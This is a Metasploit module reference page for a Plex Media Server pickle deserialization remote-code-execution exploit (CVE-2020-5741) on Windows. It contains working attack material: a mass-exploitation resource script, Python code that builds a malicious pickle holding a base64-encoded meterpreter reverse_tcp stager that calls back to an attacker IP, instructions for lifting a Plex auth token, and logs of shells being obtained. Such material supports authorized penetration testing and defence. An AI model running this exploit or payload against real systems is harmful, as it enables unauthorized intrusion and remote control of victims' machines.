Plex Unpickle Dict Windows RCE - Metasploit
This page contains detailed information about how to use the exploit/windows/http/plex_unpickle_dict_rce metasploit module. For list of all metasploit modules, visit the Metasploit Module Library.
Module Overview
Name: Plex Unpickle Dict Windows RCE
Module: exploit/windows/http/plex_unpickle_dict_rce
Source code: modules/exploits/windows/http/plex_unpickle_dict_rce.rb
Disclosure date: 2020-05-07
Last modification time: 2021-08-27 17:15:33 +0000
Supported architecture(s): python
Supported platform(s): Python
Target service / protocol: http, https
Target network port(s): 80, 443, 3000, 8000, 8008, 8080, 8443, 8880, 8888, 32400
List of CVEs: CVE-2020-5741
This module exploits an authenticated Python unsafe pickle.load of a Dict file. An authenticated attacker can create a photo library and add arbitrary files to it. After setting the Windows only Plex variable LocalAppDataPath to the newly created photo library, a file named Dict will be unpickled, which causes an RCE as the user who started Plex. Plex_Token is required, to get it you need to log-in through a web browser, then check the requests to grab the X-Plex-Token header. See info -d for additional details. If an exploit fails, or is cancelled, Dict is left on disk, a new ALBUM_NAME will be required as subsuquent writes will make Dict-1, and not execute.
Module Ranking and Traits
Module Ranking:
- normal: The exploit is otherwise reliable, but depends on a specific version and can't (or doesn't) reliably autodetect. More information about ranking can be found here.
Reliability:
- repeatable-session: The module is expected to get a shell every time it runs.
Stability:
- crash-service-restarts: Module may crash the service, but the service restarts.
Side Effects:
- ioc-in-logs: Module leaves signs of a compromise in a log file (Example: SQL injection data found in HTTP log).
- artifacts-on-disk: Modules leaves a payload or a dropper on the target machine.
- config-changes: Module modifies some configuration setting on the target machine.
Basic Usage
Using plex_unpickle_dict_rce against a single host
Normally, you can use exploit/windows/http/plex_unpickle_dict_rce this way:
msf > use exploit/windows/http/plex_unpickle_dict_rce
msf exploit(plex_unpickle_dict_rce) > show targets
... a list of targets ...
msf exploit(plex_unpickle_dict_rce) > set TARGET target-id
msf exploit(plex_unpickle_dict_rce) > show options
... show and set options ...
msf exploit(plex_unpickle_dict_rce) > exploit
Using plex_unpickle_dict_rce against multiple hosts
But it looks like this is a remote exploit module, which means you can also engage multiple hosts.
First, create a list of IPs you wish to exploit with this module. One IP per line.
Second, set up a background payload listener. This payload should be the same as the one your plex_unpickle_dict_rce will be using:
- Do:
use exploit/multi/handler
- Do:
set PAYLOAD [payload]
- Set other options required by the payload
- Do:
set EXITONSESSION false
- Do:
run -j
At this point, you should have a payload listening.
Next, create the following script. Notice you will probably need to modify the ip_list path, and payload options accordingly:
<ruby>
#
# Modify the path if necessary
#
ip_list = '/tmp/ip_list.txt'
File.open(ip_list, 'rb').each_line do |ip|
print_status("Trying against #{ip}")
run_single("use exploit/windows/http/plex_unpickle_dict_rce")
run_single("set RHOST #{ip}")
run_single("set DisablePayloadHandler true")
#
# Set a payload that's the same as the handler.
# You might also need to add more run_single commands to configure other
# payload options.
#
run_single("set PAYLOAD [payload name]")
run_single("run")
end
</ruby>
Next, run the resource script in the console:
msf > resource [path-to-resource-script]
And finally, you should see that the exploit is trying against those hosts similar to the following MS08-067 example:
msf > resource /tmp/exploit_hosts.rc
[*] Processing /tmp/exploit_hosts.rc for ERB directives.
[*] resource (/tmp/exploit_hosts.rc)> Ruby Code (402 bytes)
[*] Trying against 192.168.1.80
RHOST => 192.168.1.80
DisablePayloadHandler => true
PAYLOAD => windows/meterpreter/reverse_tcp
LHOST => 192.168.1.199
[*] 192.168.1.80:445 - Automatically detecting the target...
[*] 192.168.1.80:445 - Fingerprint: Windows XP - Service Pack 3 - lang:English
[*] 192.168.1.80:445 - Selected Target: Windows XP SP3 English (AlwaysOn NX)
[*] 192.168.1.80:445 - Attempting to trigger the vulnerability...
[*] Sending stage (957999 bytes) to 192.168.1.80
[*] Trying against 192.168.1.109
RHOST => 192.168.1.109
DisablePayloadHandler => true
PAYLOAD => windows/meterpreter/reverse_tcp
LHOST => 192.168.1.199
[*] 192.168.1.109:445 - Automatically detecting the target...
[*] 192.168.1.109:445 - Fingerprint: Windows 2003 - Service Pack 2 - lang:Unknown
[*] 192.168.1.109:445 - We could not detect the language pack, defaulting to English
[*] 192.168.1.109:445 - Selected Target: Windows 2003 SP2 English (NX)
[*] 192.168.1.109:445 - Attempting to trigger the vulnerability...
[*] Meterpreter session 1 opened (192.168.1.199:4444 -> 192.168.1.80:1071) at 2016-03-02 19:32:49 -0600
[*] Sending stage (957999 bytes) to 192.168.1.109
[*] Meterpreter session 2 opened (192.168.1.199:4444 -> 192.168.1.109:4626) at 2016-03-02 19:32:52 -0600
Required Options
- RHOSTS: The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
Knowledge Base
Vulnerable Application
This module exploits an authenticated Python unsafe pickle.load
of a
Dict
file. An authenticated attacker can create a photo library and
add arbitrary files to it. After setting the Windows only Plex
variable LocalAppDataPath
to the newly created photo library, a file
named Dict
will be unpickled, which causes an RCE as the user who
started Plex.
If an exploit fails, or is cancelled, Dict
is
left on disk, a new ALBUM_NAME
will be required as subsuquent writes
will make Dict-1
, and not execute.
A vulnerable version of the software can be downloaded from uptodown.com, specifically 1.18.5.2309 is vulnerable and used for developing the module.
The plex server needs to be claimed by an account (free is ok), and the module PLEX_TOKEN
option
needs permission to create a library, and upload files to it.
Pickle Stub
This exploit requires a python pickle file which can be generated with the following code:
import pickle
class EP(object):
def __init__(self):
pass
def __reduce__(self):
# for generating an approximately correct size and content, we use
# msfvenom -p python/meterpreter/reverse_tcp LPORT=9999 LHOST=192.168.0.1
# that payload is then added after runsource.
# The original pre-meterp return would be
# return (eval, ("__import__('code').InteractiveInterpreter().runsource(, '<input>', 'exec')",))
return (eval, ("__import__('code').InteractiveInterpreter().runsource(\"exec(__import__('base64').b64decode(__import__('codecs').getencoder('utf-8')('aW1wb3J0IHNvY2tldCxzdHJ1Y3QsdGltZQpmb3IgeCBpbiByYW5nZSgxMCk6Cgl0cnk6CgkJcz1zb2NrZXQuc29ja2V0KDIsc29ja2V0LlNPQ0tfU1RSRUFNKQoJCXMuY29ubmVjdCgoJzE5Mi4xNjguMC4xJyw5OTk5KSkKCQlicmVhawoJZXhjZXB0OgoJCXRpbWUuc2xlZXAoNSkKbD1zdHJ1Y3QudW5wYWNrKCc+SScscy5yZWN2KDQpKVswXQpkPXMucmVjdihsKQp3aGlsZSBsZW4oZCk8bDoKCWQrPXMucmVjdihsLWxlbihkKSkKZXhlYyhkLHsncyc6c30pCg==')[0]))\", '<input>', 'exec')",))
e = EP()
pickle.dumps(e)
Pickle Gotchas
All the examples of Evil Pickle attacks seem to call one command/function. 1, 2, 3, 4
However, @acammack-r7 suggested a way around this. using the InteractiveInterpreter
.
Credit to them for this original code:
>>> class Bad(object):
... def __reduce__(self):
... return (eval, ("__import__('code').InteractiveInterpreter().runsource(\"print('ok')\", '<input>', 'exec')",))
...
>>> x = Bad()
>>> s = pickle.dumps(x)
>>> pickle.loads(s)
ok
False
Verification Steps
- Install the application on an internet-connected host
- Complete configuration in the browser that pops up
- Register/Connect it to a Plex account (Free or Plex Pass)
- Start msfconsole
- Do:
use windows/http/plex_unpickle_dict_rce
- Do:
run
- You should get a shell.
Options
ALBUM_NAME
Name of the photo album to create. Default is random 6 character.
LIBRARY_PATH
The path to write the photo library to. Must be valid. Default is C:\\Users\\Public
PLEX_TOKEN
The X-Plex-Token
value from requests from an authenticated session.
There are multiple ways to obtain this value. The easiest is most likely opening the
Console on your web browser (F12) and typing window.localStorage.myPlexAccessToken
.
However, it can also be obtained from
plex library files
or by following this comment
REBOOT_SLEEP
Amount of seconds to sleep waiting on the server to reboot. In testing 10
seemed to be OK, default is 15
.
Scenarios
Plex 10.0.16299 on Windows 10 16299
[*] Processing plex.rb for ERB directives.
resource (plex.rb)> use exploit/windows/http/plex_unpickle_dict_rce
resource (plex.rb)> set rhosts 2.2.2.2
rhosts => 2.2.2.2
resource (plex.rb)> set lhost 1.1.1.1
lhost => 1.1.1.1
resource (plex.rb)> set PLEX_TOKEN aa1g1aa3aaHbAtPBsEG7
PLEX_TOKEN => aa1g1aa3aaHbAtPBsEG7
resource (plex.rb)> set verbose true
verbose => true
msf5 exploit(windows/http/plex_unpickle_dict_rce) > exploit
[*] Started reverse TCP handler on 1.1.1.1:4444
[*] Gathering Plex Config
[*] Server Name: EXPLOITABLE -win10
[+] Server OS: Windows (10.0 (Build 16299))
[+] Server Version: 1.18.5.2309-f5213a238
[+] Camera Upload: 1
[*] Using album name: TAtPGj
[*] Adding new photo library
[+] Created Photo Library: 163
[*] Adding pickled Dict to library
[*] Changing AppPath
[*] Restarting Plex
[*] Sending stage (53755 bytes) to 2.2.2.2
[*] Meterpreter session 1 opened (1.1.1.1:4444 -> 2.2.2.2:51092) at 2020-07-03 14:13:08 -0400
[*] Sleeping 15 seconds for server restart
[*] Cleanup Phase: Reverting changes from exploitation
[*] Changing AppPath
[*] Restarting Plex
[*] Deleting Photo Library
meterpreter > getuid
Server username: WIN10PROLICENSE\windows
meterpreter > sysinfo
Computer : win10prolicensed
OS : Windows 10 (Build 16299)
Architecture : x64
System Language : en_US
Meterpreter : python/windows
meterpreter > pwd
\\?\C:\Users\Public\TAtPGj\Plex Media Server\Plug-in Support\Data\com.plexapp.system
Go back to menu.
Msfconsole Usage
Here is how the windows/http/plex_unpickle_dict_rce exploit module looks in the msfconsole:
msf6 > use exploit/windows/http/plex_unpickle_dict_rce
[*] Using configured payload python/meterpreter/reverse_tcp
msf6 exploit(windows/http/plex_unpickle_dict_rce) > show info
Name: Plex Unpickle Dict Windows RCE
Module: exploit/windows/http/plex_unpickle_dict_rce
Platform: Python
Arch: python
Privileged: No
License: Metasploit Framework License (BSD)
Rank: Normal
Disclosed: 2020-05-07
Provided by:
h00die
Chris Lyne
Module side effects:
ioc-in-logs
artifacts-on-disk
config-changes
Module stability:
crash-service-restarts
Module reliability:
repeatable-session
Available targets:
Id Name
-- ----
0 Automatic Target
Check supported:
Yes
Basic options:
Name Current Setting Required Description
---- --------------- -------- -----------
ALBUM_NAME yes Name of Album
LIBRARY_PATH C:\Users\Public yes Path to write picture library to
PLEX_TOKEN yes Admin Authenticated X-Plex-Token
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
REBOOT_SLEEP 15 yes Time to wait for Plex to restart
RHOSTS yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
RPORT 32400 yes The target port (TCP)
SSL false no Negotiate SSL/TLS for outgoing connections
VHOST no HTTP server virtual host
Payload information:
Description:
This module exploits an authenticated Python unsafe pickle.load of a
Dict file. An authenticated attacker can create a photo library and
add arbitrary files to it. After setting the Windows only Plex
variable LocalAppDataPath to the newly created photo library, a file
named Dict will be unpickled, which causes an RCE as the user who
started Plex. Plex_Token is required, to get it you need to log-in
through a web browser, then check the requests to grab the
X-Plex-Token header. See info -d for additional details. If an
exploit fails, or is cancelled, Dict is left on disk, a new
ALBUM_NAME will be required as subsuquent writes will make Dict-1,
and not execute.
References:
https://github.com/tenable/poc/blob/master/plex/plex_media_server/auth_dict_unpickle_rce_exploit_tra_2020_32.py
https://www.tenable.com/security/research/tra-2020-32
http://support.plex.tv/articles/201105343-advanced-hidden-server-settings/
https://forums.plex.tv/t/security-regarding-cve-2020-5741/586819
https://nvd.nist.gov/vuln/detail/CVE-2020-5741
Module Options
This is a complete list of options available in the windows/http/plex_unpickle_dict_rce exploit:
msf6 exploit(windows/http/plex_unpickle_dict_rce) > show options
Module options (exploit/windows/http/plex_unpickle_dict_rce):
Name Current Setting Required Description
---- --------------- -------- -----------
ALBUM_NAME yes Name of Album
LIBRARY_PATH C:\Users\Public yes Path to write picture library to
PLEX_TOKEN yes Admin Authenticated X-Plex-Token
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
REBOOT_SLEEP 15 yes Time to wait for Plex to restart
RHOSTS yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
RPORT 32400 yes The target port (TCP)
SSL false no Negotiate SSL/TLS for outgoing connections
VHOST no HTTP server virtual host
Payload options (python/meterpreter/reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
LHOST yes The listen address (an interface may be specified)
LPORT 4444 yes The listen port
Exploit target:
Id Name
-- ----
0 Automatic Target
Advanced Options
Here is a complete list of advanced options supported by the windows/http/plex_unpickle_dict_rce exploit:
msf6 exploit(windows/http/plex_unpickle_dict_rce) > show advanced
Module advanced options (exploit/windows/http/plex_unpickle_dict_rce):
Name Current Setting Required Description
---- --------------- -------- -----------
ContextInformationFile no The information file that contains context information
DOMAIN WORKSTATION yes The domain to use for Windows authentication
DigestAuthIIS true no Conform to IIS, should work for most servers. Only set to false for non-IIS servers
DisablePayloadHandler false no Disable the handler code for the selected payload
EnableContextEncoding false no Use transient context when encoding payloads
FileDropperDelay no Delay in seconds before attempting cleanup
FingerprintCheck true no Conduct a pre-exploit fingerprint verification
HttpClientTimeout no HTTP connection and receive timeout
HttpPassword no The HTTP password to specify for authentication
HttpRawHeaders no Path to ERB-templatized raw headers to append to existing headers
HttpTrace false no Show the raw HTTP requests and responses
HttpTraceColors red/blu no HTTP request and response colors for HttpTrace (unset to disable)
HttpTraceHeadersOnly false no Show HTTP headers only in HttpTrace
HttpUsername no The HTTP username to specify for authentication
SSLVersion Auto yes Specify the version of SSL/TLS to be used (Auto, TLS and SSL23 are auto-negotiate) (Accepted: Auto, TLS, SSL23, SSL3, TLS1, TLS1.1, TLS1.2)
UserAgent Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1) no The User-Agent header to use for all requests
VERBOSE false no Enable detailed status messages
WORKSPACE no Specify the workspace for this module
WfsDelay 2 no Additional delay in seconds to wait for a session
Payload advanced options (python/meterpreter/reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
AutoLoadStdapi true yes Automatically load the Stdapi extension
AutoRunScript no A script to run automatically on session creation.
AutoSystemInfo true yes Automatically capture system information on initialization.
AutoUnhookProcess false yes Automatically load the unhook extension and unhook the process
AutoVerifySessionTimeout 30 no Timeout period to wait for session validation to occur, in seconds
EnableStageEncoding false no Encode the second stage payload
EnableUnicodeEncoding false yes Automatically encode UTF-8 strings as hexadecimal
HandlerSSLCert no Path to a SSL certificate in unified PEM format, ignored for HTTP transports
HttpCookie no An optional value to use for the Cookie HTTP header
HttpHostHeader no An optional value to use for the Host HTTP header
HttpReferer no An optional value to use for the Referer HTTP header
InitialAutoRunScript no An initial script to run on session creation (before AutoRunScript)
MeterpreterTryToFork true no Fork a new process if the functionality is available
PayloadProcessCommandLine no The displayed command line that will be used by the payload
PayloadUUIDName no A human-friendly name to reference this unique payload (requires tracking)
PayloadUUIDRaw no A hex string representing the raw 8-byte PUID value for the UUID
PayloadUUIDSeed no A string to use when generating the payload UUID (deterministic)
PayloadUUIDTracking false yes Whether or not to automatically register generated UUIDs
PingbackRetries 0 yes How many additional successful pingbacks
PingbackSleep 30 yes Time (in seconds) to sleep between pingbacks
PythonMeterpreterDebug false no Enable debugging for the Python meterpreter
ReverseAllowProxy false yes Allow reverse tcp even with Proxies specified. Connect back will NOT go through proxy but directly to LHOST
ReverseListenerBindAddress no The specific IP address to bind to on the local system
ReverseListenerBindPort no The port to bind to on the local system if different from LPORT
ReverseListenerComm no The specific communication channel to use for this listener
ReverseListenerThreaded false yes Handle every connection in a new thread (experimental)
SessionCommunicationTimeout 300 no The number of seconds of no activity before this session should be killed
SessionExpirationTimeout 604800 no The number of seconds before this session should be forcibly shut down
SessionRetryTotal 3600 no Number of seconds try reconnecting for on network failure
SessionRetryWait 10 no Number of seconds to wait between reconnect attempts
StageEncoder no Encoder to use if EnableStageEncoding is set
StageEncoderSaveRegisters no Additional registers to preserve in the staged payload if EnableStageEncoding is set
StageEncodingFallback true no Fallback to no encoding if the selected StageEncoder is not compatible
StagerRetryCount 10 no The number of times the stager should retry if the first connect fails
StagerRetryWait 5 no Number of seconds to wait for the stager between reconnect attempts
VERBOSE false no Enable detailed status messages
WORKSPACE no Specify the workspace for this module
Exploit Targets
Here is a list of targets (platforms and systems) which the windows/http/plex_unpickle_dict_rce module can exploit:
msf6 exploit(windows/http/plex_unpickle_dict_rce) > show targets
Exploit targets:
Id Name
-- ----
0 Automatic Target
Compatible Payloads
This is a list of possible payloads which can be delivered and executed on the target system using the windows/http/plex_unpickle_dict_rce exploit:
msf6 exploit(windows/http/plex_unpickle_dict_rce) > show payloads
Compatible Payloads
===================
# Name Disclosure Date Rank Check Description
- ---- --------------- ---- ----- -----------
0 payload/generic/custom normal No Custom Payload
1 payload/generic/shell_bind_tcp normal No Generic Command Shell, Bind TCP Inline
2 payload/generic/shell_reverse_tcp normal No Generic Command Shell, Reverse TCP Inline
3 payload/multi/meterpreter/reverse_http normal No Architecture-Independent Meterpreter Stage, Reverse HTTP Stager (Multiple Architectures)
4 payload/multi/meterpreter/reverse_https normal No Architecture-Independent Meterpreter Stage, Reverse HTTPS Stager (Multiple Architectures)
5 payload/python/meterpreter/bind_tcp normal No Python Meterpreter, Python Bind TCP Stager
6 payload/python/meterpreter/bind_tcp_uuid normal No Python Meterpreter, Python Bind TCP Stager with UUID Support
7 payload/python/meterpreter/reverse_http normal No Python Meterpreter, Python Reverse HTTP Stager
8 payload/python/meterpreter/reverse_https normal No Python Meterpreter, Python Reverse HTTPS Stager
9 payload/python/meterpreter/reverse_tcp normal No Python Meterpreter, Python Reverse TCP Stager
10 payload/python/meterpreter/reverse_tcp_ssl normal No Python Meterpreter, Python Reverse TCP SSL Stager
11 payload/python/meterpreter/reverse_tcp_uuid normal No Python Meterpreter, Python Reverse TCP Stager with UUID Support
12 payload/python/meterpreter_bind_tcp normal No Python Meterpreter Shell, Bind TCP Inline
13 payload/python/meterpreter_reverse_http normal No Python Meterpreter Shell, Reverse HTTP Inline
14 payload/python/meterpreter_reverse_https normal No Python Meterpreter Shell, Reverse HTTPS Inline
15 payload/python/meterpreter_reverse_tcp normal No Python Meterpreter Shell, Reverse TCP Inline
16 payload/python/shell_bind_tcp normal No Command Shell, Bind TCP (via python)
17 payload/python/shell_reverse_tcp normal No Command Shell, Reverse TCP (via python)
18 payload/python/shell_reverse_tcp_ssl normal No Command Shell, Reverse TCP SSL (via python)
19 payload/python/shell_reverse_udp normal No Command Shell, Reverse UDP (via python)
Evasion Options
Here is the full list of possible evasion options supported by the windows/http/plex_unpickle_dict_rce exploit in order to evade defenses (e.g. Antivirus, EDR, Firewall, NIDS etc.):
msf6 exploit(windows/http/plex_unpickle_dict_rce) > show evasion
Module evasion options:
Name Current Setting Required Description
---- --------------- -------- -----------
HTTP::header_folding false no Enable folding of HTTP headers
HTTP::method_random_case false no Use random casing for the HTTP method
HTTP::method_random_invalid false no Use a random invalid, HTTP method for request
HTTP::method_random_valid false no Use a random, but valid, HTTP method for request
HTTP::pad_fake_headers false no Insert random, fake headers into the HTTP request
HTTP::pad_fake_headers_count 0 no How many fake headers to insert into the HTTP request
HTTP::pad_get_params false no Insert random, fake query string variables into the request
HTTP::pad_get_params_count 16 no How many fake query string variables to insert into the request
HTTP::pad_method_uri_count 1 no How many whitespace characters to use between the method and uri
HTTP::pad_method_uri_type space no What type of whitespace to use between the method and uri (Accepted: space, tab, apache)
HTTP::pad_post_params false no Insert random, fake post variables into the request
HTTP::pad_post_params_count 16 no How many fake post variables to insert into the request
HTTP::pad_uri_version_count 1 no How many whitespace characters to use between the uri and version
HTTP::pad_uri_version_type space no What type of whitespace to use between the uri and version (Accepted: space, tab, apache)
HTTP::uri_dir_fake_relative false no Insert fake relative directories into the uri
HTTP::uri_dir_self_reference false no Insert self-referential directories into the uri
HTTP::uri_encode_mode hex-normal no Enable URI encoding (Accepted: none, hex-normal, hex-noslashes, hex-random, hex-all, u-normal, u-all, u-random)
HTTP::uri_fake_end false no Add a fake end of URI (eg: /%20HTTP/1.0/../../)
HTTP::uri_fake_params_start false no Add a fake start of params to the URI (eg: /%3fa=b/../)
HTTP::uri_full_url false no Use the full URL for all HTTP requests
HTTP::uri_use_backslashes false no Use back slashes instead of forward slashes in the uri
HTTP::version_random_invalid false no Use a random invalid, HTTP version for request
HTTP::version_random_valid false no Use a random, but valid, HTTP version for request
Go back to menu.
Error Messages
This module may fail with the following error messages:
- Permission denied when attempting to upload file. Plex server may not be registered to an account or you lack permission.
- Permission denied when attempting to upload file. Plex server may not be registered to an account or you lack permission.
- Could not connect to the web service, check URI Path and IP
- Server OS: <VALUE> (<VALUE>)
- Only Windows OS is exploitable
- Server Version: <V>
- Only < 1.19.3 is exploitable
- Camera Upload: <VALUE>
- Camera Upload not enabled
- PLEX_TOKEN is required.
- Server not vulnerable
- Unable to create photo library, possible permission problem
- Unable to upload files to library
Check for the possible causes from the code snippets below found in the module source code. This can often times help in identifying the root cause of the problem.
Permission denied when attempting to upload file. Plex server may not be registered to an account or you lack permission.
Here is a relevant code snippet related to the "Permission denied when attempting to upload file. Plex server may not be registered to an account or you lack permission." error message:
141: 'headers' => { 'X-Plex-Token' => datastore['PLEX_TOKEN'] },
142: 'ctype' => 'application/octet-stream',
143: 'data' => p
144: )
145: if res && res.code == 401
146: fail_with(Failure::UnexpectedReply, 'Permission denied when attempting to upload file. Plex server may not be registered to an account or you lack permission.')
147: delete_photo_library(location)
148: return false
149: end
150: # Deleting the file (even with a PrependFork) tended to kill the session or make it unreliable
151: # register_file_for_cleanup("#{datastore['LIBRARY_PATH']}\\#{filename.gsub('/', '\\\\')}Dict")
Permission denied when attempting to upload file. Plex server may not be registered to an account or you lack permission.
Here is a relevant code snippet related to the "Permission denied when attempting to upload file. Plex server may not be registered to an account or you lack permission." error message:
149: end
150: # Deleting the file (even with a PrependFork) tended to kill the session or make it unreliable
151: # register_file_for_cleanup("#{datastore['LIBRARY_PATH']}\\#{filename.gsub('/', '\\\\')}Dict")
152:
153: if res && res.code == 401
154: fail_with(Failure::UnexpectedReply, 'Permission denied when attempting to upload file. Plex server may not be registered to an account or you lack permission.')
155: delete_photo_library(location)
156: return false
157: end
158: true
159: end
Could not connect to the web service, check URI Path and IP
Here is a relevant code snippet related to the "Could not connect to the web service, check URI Path and IP" error message:
209: end
210:
211: def check
212: server = ret_server_info
213: if server.nil?
214: return CheckCode::Safe('Could not connect to the web service, check URI Path and IP')
215: end
216:
217: store_loot('plex.json', 'application/json', datastore['RHOST'], server.to_s, 'plex.json', 'Plex Server Configuration')
218:
219: report_host({
Server OS: <VALUE> (<VALUE>)
Here is a relevant code snippet related to the "Server OS: <VALUE> (<VALUE>)" error message:
221: os_name: server['MediaContainer']['platform'],
222: os_flavor: server['MediaContainer']['platformVersion']
223: })
224: print_status("Server Name: #{server['MediaContainer']['friendlyName']}")
225: unless server['MediaContainer']['platform'] == 'Windows'
226: print_bad("Server OS: #{server['MediaContainer']['platform']} (#{server['MediaContainer']['platformVersion']})")
227: return CheckCode::Safe('Only Windows OS is exploitable')
228: end
229: print_good("Server OS: #{server['MediaContainer']['platform']} (#{server['MediaContainer']['platformVersion']})")
230: v = Rex::Version.new(server['MediaContainer']['version'])
231: if v >= Rex::Version.new('1.19.3')
Only Windows OS is exploitable
Here is a relevant code snippet related to the "Only Windows OS is exploitable" error message:
222: os_flavor: server['MediaContainer']['platformVersion']
223: })
224: print_status("Server Name: #{server['MediaContainer']['friendlyName']}")
225: unless server['MediaContainer']['platform'] == 'Windows'
226: print_bad("Server OS: #{server['MediaContainer']['platform']} (#{server['MediaContainer']['platformVersion']})")
227: return CheckCode::Safe('Only Windows OS is exploitable')
228: end
229: print_good("Server OS: #{server['MediaContainer']['platform']} (#{server['MediaContainer']['platformVersion']})")
230: v = Rex::Version.new(server['MediaContainer']['version'])
231: if v >= Rex::Version.new('1.19.3')
232: print_bad("Server Version: #{v}")
Server Version: <V>
Here is a relevant code snippet related to the "Server Version: <V>" error message:
227: return CheckCode::Safe('Only Windows OS is exploitable')
228: end
229: print_good("Server OS: #{server['MediaContainer']['platform']} (#{server['MediaContainer']['platformVersion']})")
230: v = Rex::Version.new(server['MediaContainer']['version'])
231: if v >= Rex::Version.new('1.19.3')
232: print_bad("Server Version: #{v}")
233: return CheckCode::Safe('Only < 1.19.3 is exploitable')
234: end
235: print_good("Server Version: #{server['MediaContainer']['version']}")
236: unless server['MediaContainer']['allowCameraUpload']
237: print_bad("Camera Upload: #{server['MediaContainer']['allowCameraUpload']}")
Only < 1.19.3 is exploitable
Here is a relevant code snippet related to the "Only < 1.19.3 is exploitable" error message:
228: end
229: print_good("Server OS: #{server['MediaContainer']['platform']} (#{server['MediaContainer']['platformVersion']})")
230: v = Rex::Version.new(server['MediaContainer']['version'])
231: if v >= Rex::Version.new('1.19.3')
232: print_bad("Server Version: #{v}")
233: return CheckCode::Safe('Only < 1.19.3 is exploitable')
234: end
235: print_good("Server Version: #{server['MediaContainer']['version']}")
236: unless server['MediaContainer']['allowCameraUpload']
237: print_bad("Camera Upload: #{server['MediaContainer']['allowCameraUpload']}")
238: return CheckCode::Safe('Camera Upload not enabled')
Camera Upload: <VALUE>
Here is a relevant code snippet related to the "Camera Upload: <VALUE>" error message:
232: print_bad("Server Version: #{v}")
233: return CheckCode::Safe('Only < 1.19.3 is exploitable')
234: end
235: print_good("Server Version: #{server['MediaContainer']['version']}")
236: unless server['MediaContainer']['allowCameraUpload']
237: print_bad("Camera Upload: #{server['MediaContainer']['allowCameraUpload']}")
238: return CheckCode::Safe('Camera Upload not enabled')
239: end
240: print_good("Camera Upload: #{server['MediaContainer']['allowCameraUpload']}")
241: CheckCode::Vulnerable
242: end
Camera Upload not enabled
Here is a relevant code snippet related to the "Camera Upload not enabled" error message:
233: return CheckCode::Safe('Only < 1.19.3 is exploitable')
234: end
235: print_good("Server Version: #{server['MediaContainer']['version']}")
236: unless server['MediaContainer']['allowCameraUpload']
237: print_bad("Camera Upload: #{server['MediaContainer']['allowCameraUpload']}")
238: return CheckCode::Safe('Camera Upload not enabled')
239: end
240: print_good("Camera Upload: #{server['MediaContainer']['allowCameraUpload']}")
241: CheckCode::Vulnerable
242: end
243:
PLEX_TOKEN is required.
Here is a relevant code snippet related to the "PLEX_TOKEN is required." error message:
241: CheckCode::Vulnerable
242: end
243:
244: def exploit
245: if datastore['PLEX_TOKEN'].blank?
246: fail_with(Failure::BadConfig, 'PLEX_TOKEN is required.')
247: end
248:
249: unless check == CheckCode::Vulnerable
250: fail_with(Failure::NotVulnerable, 'Server not vulnerable')
251: end
Server not vulnerable
Here is a relevant code snippet related to the "Server not vulnerable" error message:
245: if datastore['PLEX_TOKEN'].blank?
246: fail_with(Failure::BadConfig, 'PLEX_TOKEN is required.')
247: end
248:
249: unless check == CheckCode::Vulnerable
250: fail_with(Failure::NotVulnerable, 'Server not vulnerable')
251: end
252:
253: print_status("Using album name: #{album_name}")
254: id = create_photo_library
255: if id.nil?
Unable to create photo library, possible permission problem
Here is a relevant code snippet related to the "Unable to create photo library, possible permission problem" error message:
251: end
252:
253: print_status("Using album name: #{album_name}")
254: id = create_photo_library
255: if id.nil?
256: fail_with(Failure::UnexpectedReply, 'Unable to create photo library, possible permission problem')
257: end
258: print_good("Created Photo Library: #{id}")
259: success = add_pickle(id)
260: unless success
261: fail_with(Failure::UnexpectedReply, 'Unable to upload files to library')
Unable to upload files to library
Here is a relevant code snippet related to the "Unable to upload files to library" error message:
256: fail_with(Failure::UnexpectedReply, 'Unable to create photo library, possible permission problem')
257: end
258: print_good("Created Photo Library: #{id}")
259: success = add_pickle(id)
260: unless success
261: fail_with(Failure::UnexpectedReply, 'Unable to upload files to library')
262: end
263: change_apppath("#{datastore['LIBRARY_PATH']}\\#{album_name}")
264: restart_plex
265: print_status("Sleeping #{datastore['REBOOT_SLEEP']} seconds for server restart")
266: Rex.sleep(datastore['REBOOT_SLEEP'])
Go back to menu.
Related Pull Requests
- #14769 Merged Pull Request: Handle nil versions in preparation for rubygems 4
- #14213 Merged Pull Request: Add disclosure date rubocop linting rule - enforce iso8601 disclosure dates
- #13914 Merged Pull Request: move config_changes on plex module
- #13741 Merged Pull Request: CVE-2020-5741: Plex rce on Windows
References
- https://github.com/tenable/poc/blob/master/plex/plex_media_server/auth_dict_unpickle_rce_exploit_tra_2020_32.py
- https://www.tenable.com/security/research/tra-2020-32
- http://support.plex.tv/articles/201105343-advanced-hidden-server-settings/
- https://forums.plex.tv/t/security-regarding-cve-2020-5741/586819
- CVE-2020-5741
See Also
Check also the following modules related to this module:
- exploit/windows/http/advantech_iview_unauth_rce
- exploit/windows/http/cayin_xpost_sql_rce
- exploit/windows/http/dlink_central_wifimanager_rce
- exploit/windows/http/dnn_cookie_deserialization_rce
- exploit/windows/http/exchange_chainedserializationbinder_denylist_typo_rce
- exploit/windows/http/exchange_chainedserializationbinder_rce
- exploit/windows/http/exchange_proxylogon_rce
- exploit/windows/http/exchange_proxynotshell_rce
- exploit/windows/http/exchange_proxyshell_rce
- exploit/windows/http/geutebrueck_gcore_x64_rce_bo
- exploit/windows/http/git_lfs_rce
- exploit/windows/http/gitstack_rce
- exploit/windows/http/manageengine_adshacluster_rce
- exploit/windows/http/manage_engine_opmanager_rce
- exploit/windows/http/mcafee_epolicy_source
- exploit/windows/http/netgear_nms_rce
- exploit/windows/http/nscp_authenticated_rce
- exploit/windows/http/prtg_authenticated_rce
- exploit/windows/http/sepm_auth_bypass_rce
- exploit/windows/http/zentao_pro_rce
- exploit/windows/http/zoho_password_manager_pro_xml_rpc_rce
- exploit/windows/browser/adobe_flatedecode_predictor02
- exploit/windows/fileformat/adobe_flatedecode_predictor02
Related Nessus plugins:
Authors
- h00die
- Chris Lyne
Version
This page has been produced using Metasploit Framework version 6.2.29-dev. For more modules, visit the Metasploit Module Library.
Go back to menu.